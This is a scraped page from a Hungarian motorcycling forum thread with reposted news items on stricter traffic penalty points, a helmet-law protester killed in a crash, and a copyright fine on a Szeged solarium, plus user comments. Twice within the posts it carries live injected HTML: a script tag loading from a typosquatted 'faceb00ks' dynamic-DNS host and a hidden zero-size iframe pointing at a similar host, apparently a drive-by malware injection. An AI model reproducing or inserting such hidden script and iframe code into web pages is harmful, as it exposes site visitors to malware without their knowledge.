Street Racer STR motoros kesztyű a MotoZemtől

Közérdekű, érdekes, vicces hírek a nagyvilágból

<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>
Az Országgyűlés szigorította a közúti büntetőpont-rendszert, emellett arról is döntött, hogy az ellenőrzött sofőrök alkoholfogyasztási mintavételre kötelezhetők.
A módosítások értelmében a korábbi hat helyett kilenc büntetőpont jár a közúti baleset okozása miatt, míg a segítségnyújtás elmulasztása, a közúti veszélyeztetés, a járművezetés ittas, vagy bódult állapotban, valamint a járművezetés tiltott átengedése, továbbá a cserbenhagyás 11 büntetőpontot "érhet" 9 helyett.
rend.jpg.ashx

Az ittas vezetés július 1-jétől közigazgatási bírsággal sújtandó szabálysértéssé alakul, ezért a törvényváltoztatás előállítási okként határozza meg a közigazgatási eljárásban történő mintavételt. A hatóság együttműködés hiányában is a mintavétel tűrésére kötelezheti az ellenőrzött sofőröket.
A belügyminiszter kitér arra is, hogy az új szabályozás szerint sem ittas vezetés, sem gyorshajtás esetén nem lesz lehetőség a járművezetéstől történő eltiltásra, így a bírságok mellett a pontrendszer szigorítása lehet az, ami a megelőzéshez, illetve a járművezetési jogosultság szüneteltetéséhez vezethet.
 
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>
A belügyminiszter kitér arra is, hogy az új szabályozás szerint sem ittas vezetés, sem gyorshajtás esetén nem lesz lehetőség a járművezetéstől történő eltiltásra, így a bírságok mellett a pontrendszer szigorítása lehet az, ami a megelőzéshez, illetve a járművezetési jogosultság szüneteltetéséhez vezethet.

Ami eddig is mennyire hatékonyan működött... Azért legalább az ittas vezetés (főleg, ha ismétlődő) esetén meghagytam volna az eltiltást...
 
Bukósisak ellen tüntetett - szörnyethalt a motoros

Épp a bukósisak kötelezővé tétele ellen tiltakozott egy motoros, amikor járművével felbukott, és a járdába úgy verte be a fejét, hogy sérülésébe azonnal belehalt.
Most már sosem ismerheti be egy 55 éves motoros, hogy valóban szükség van a sisak viselésére - bár esete remélhetőleg intő példaként szolgál majd a többi tiltakozó számára.

New York államban eddig nem volt kötelező a bukósisak hordása, és az ezt előíró törvény ellen a hétvégén nagyszabású felvonulást szerveztek azok a motorosok, akik szerint felesleges a védőeszköz. A tüntetők között volt Philip A. Contos is, aki egy 1983-as Harley Davidsonon vezetett fel egy csapat motorost.

A férfi az állam közepén, a Syracuse-hoz közeli Onondaga városban haladt, amikor hirtelen megszorult a fékje és a motor hátulja kacsázni kezdett. Contos elvesztette az uralmát a jármű felett és fejjel előre átrepült rajta. A tiltakozás jeléül "természetesen" nem viselt bukósisakot.

Az esés következtében olyan szerencsétlenül verte be a fejét a járdán, hogy még kórházba szállították, de ott már csak a halál beálltát tudták megállapítani.

A jelenlévő szemtanúk szerint ha viselt volna sisakot, valószínűleg életben marad.
 
Bukósisak ellen tüntetett - szörnyethalt a motoros

Épp a bukósisak kötelezővé tétele ellen tiltakozott egy motoros, amikor járművével felbukott, és a járdába úgy verte be a fejét, hogy sérülésébe azonnal belehalt.
Most már sosem ismerheti be egy 55 éves motoros, hogy valóban szükség van a sisak viselésére - bár esete remélhetőleg intő példaként szolgál majd a többi tiltakozó számára.

New York államban eddig nem volt kötelező a bukósisak hordása, és az ezt előíró törvény ellen a hétvégén nagyszabású felvonulást szerveztek azok a motorosok, akik szerint felesleges a védőeszköz. A tüntetők között volt Philip A. Contos is, aki egy 1983-as Harley Davidsonon vezetett fel egy csapat motorost.

A férfi az állam közepén, a Syracuse-hoz közeli Onondaga városban haladt, amikor hirtelen megszorult a fékje és a motor hátulja kacsázni kezdett. Contos elvesztette az uralmát a jármű felett és fejjel előre átrepült rajta. A tiltakozás jeléül "természetesen" nem viselt bukósisakot.

Az esés következtében olyan szerencsétlenül verte be a fejét a járdán, hogy még kórházba szállították, de ott már csak a halál beálltát tudták megállapítani.

A jelenlévő szemtanúk szerint ha viselt volna sisakot, valószínűleg életben marad.

Erre mondják, hogy aki hülye, haljon meg. Nekem a hétvégén lett volna lehetőségem egy nagyobbat motorozni a hátsó ülésen, és szerettem volna, de mivel csak siklóernyős sisakot tudott adni a srác (abból is három számmal nagyobbat), ezért köszöntem, csak a legközelebbi villamosmegállóig kértem a fuvart.
 
Nem tudom, hova tartozik, ha nem ide NaNa kérlek tedd át a helyére, köszi :)
Ezt írta ma ki nekem az iwiw :D
 

Csatolások

  • uzi.jpg
    uzi.jpg
    59.8 KB · Olvasás: 21
<bevezeto>Nem tudta, hogy olyan rádióhallgatásért, amely során a vendégek is hallhatják a zenét, jogdíjat kell fizetni, ezért büntetést kapott a jogdíjakért felelős Artisjustól egy szegedi szoláriumszalon.
</bevezeto>

Megbüntetett egy szegedi szoláriumszalont az Artisjus, Magyar Szerzői Jogvédő Iroda Egyesület, mert mindenki által hallható módon szólt a zene a rádióból - írta Délmagyar internetes kiadása, a büntetés mértéke azonban nem derült ki.
A lap szerint a szervezet ellenőrzést tartott a szoláriumszalonban, kérték a tulajdonostól a szerzői jogok megfizetéséről szóló bizonylatot, a tulaj azonban nem tudta, hogy a rádiózásért bárkinek is fizetnie kell.
Tóth Péter Benjamin, az Artisjus stratégiai és kommunikációs igazgatója a Délmagyarnak elmondta, hogy 1999 óta él a vonatkozó jogszabály, amely azt fogalmazza meg, hogy a művek után jogdíjat kell mindenkinek fizetnie, aki a felhasználásból jövedelemhez jut. "Ha egy üzlet úgy dönt, hogy megszünteti a zeneszolgáltatást, jogdíjat sem kell fizetnie" - mondta hozzátéve, hogy a szerzői jog nem egyéni, hanem nyilvános zeneszolgáltatásra vonatkozik.

Elmondta azt is, hogy ha a dolgozók zenét kívánnak hallgatni, de ez csak úgy oldható meg, hogy a vendégek is hallják, a vállalkozásnak jogdíjat kell fizetniük, vagy fülhallgatót használniuk.
A díj az üzlet alapterületétől függ: 50 négyzetméter alatt 2723 forint a havidíj, az előadóknak 694,4 forint jut. Ez áfával együtt 4271,7 forint havonta. A lap hozzátette, hogy a rádió a lejátszott számok után már fizetett jogdíjat az Artisjusnak, Tóth Péter Benjamin szerint azonban a rádió csak a saját bevételei után fizetett jogdíjat, így nincs szó kétszeres fizetésről.
 
Hát, ez nem vicces, inkább :futty2::boa::mad:. Ez nálam a Tarlós-féle tilis a megállókban mobilozni kategória. Vagyis elmebeteg.
Viszont közérdekű, ha az elmebetegek szabadon járnak!:(
 
Hát nem is viccesnek szántam, hanem érdekesnek. Bár lazán mehetne akár a Dühöngőbe is.
 
<bevezeto>Nem tudta, hogy olyan rádióhallgatásért, amely során a vendégek is hallhatják a zenét, jogdíjat kell fizetni, ezért büntetést kapott a jogdíjakért felelős Artisjustól egy szegedi szoláriumszalon.
</bevezeto>

Megbüntetett egy szegedi szoláriumszalont az Artisjus, Magyar Szerzői Jogvédő Iroda Egyesület, mert mindenki által hallható módon szólt a zene a rádióból - írta Délmagyar internetes kiadása, a büntetés mértéke azonban nem derült ki.
A lap szerint a szervezet ellenőrzést tartott a szoláriumszalonban, kérték a tulajdonostól a szerzői jogok megfizetéséről szóló bizonylatot, a tulaj azonban nem tudta, hogy a rádiózásért bárkinek is fizetnie kell.
Tóth Péter Benjamin, az Artisjus stratégiai és kommunikációs igazgatója a Délmagyarnak elmondta, hogy 1999 óta él a vonatkozó jogszabály, amely azt fogalmazza meg, hogy a művek után jogdíjat kell mindenkinek fizetnie, aki a felhasználásból jövedelemhez jut. "Ha egy üzlet úgy dönt, hogy megszünteti a zeneszolgáltatást, jogdíjat sem kell fizetnie" - mondta hozzátéve, hogy a szerzői jog nem egyéni, hanem nyilvános zeneszolgáltatásra vonatkozik.


Elmondta azt is, hogy ha a dolgozók zenét kívánnak hallgatni, de ez csak úgy oldható meg, hogy a vendégek is hallják, a vállalkozásnak jogdíjat kell fizetniük, vagy fülhallgatót használniuk.
A díj az üzlet alapterületétől függ: 50 négyzetméter alatt 2723 forint a havidíj, az előadóknak 694,4 forint jut. Ez áfával együtt 4271,7 forint havonta. A lap hozzátette, hogy a rádió a lejátszott számok után már fizetett jogdíjat az Artisjusnak, Tóth Péter Benjamin szerint azonban a rádió csak a saját bevételei után fizetett jogdíjat, így nincs szó kétszeres fizetésről.

Szerintem egy közepesen jó ügyvéd ebből simán kimossa az adott szalont... Mivelhogy nem a zenék felhasználásával szerez a szalon jövedelmet, hanem a szoláriumokból... Legalábbis szerintem senki nem azért megy be szoláriumba, mert bevonzza a Neo FM... :D
Azt még megértem, ha valami vendéglátóipari egységet büntetnének meg ilyen alapon, mondjuk olyat, ahol alkalmanként élő zene is van, mert azokban "üzemszerűen" szól a zene. Bár arra azért kíváncsi lennék, hogy ahol van egy zenegép, ott kivel fizettetik meg a jogdíjat, a hely tulajával, vagy a zenegép bérbeadójával, uram bocsá' mindkettővel.
Nem mellesleg, ilyen alapon végig lehetne büntetni az összes olyan szolgáltatót, ahol véletlenül be van kapcsolva a rádió, mikor bemegy a mélyen tisztelt ellenőr...
 
Most majdnem írtam valamit de mivel ezt tiltja a szabályzatunk, inkább nem teszem:)
Szimplán csak faszság az egész...
 
És a tacskó, osan és meki fizet, amikor felismerhetően a rádió megy és nem egy bármilyen egyéb zenei izé? Vagy azért is bűntetnek? Mindig a kicsit találják meg. Azért röhögnék, ha pl az osan tele lenne fülhallgatós árufeltöltőkkel...
 
És a tacskó, osan és meki fizet, amikor felismerhetően a rádió megy és nem egy bármilyen egyéb zenei izé? Vagy azért is bűntetnek? Mindig a kicsit találják meg. Azért röhögnék, ha pl az osan tele lenne fülhallgatós árufeltöltőkkel...

A taskó ha jól tudom saját rádiót üzemeltet, azt mondjuk nem tudom, fizetnek-e érte. A mekinek is valami saját tévéje van ha jól rémlik.
 
Insta360 Black Friday sale

Legújabb blogbejegyzések

CsamShop kendők

Back
Oldal tetejére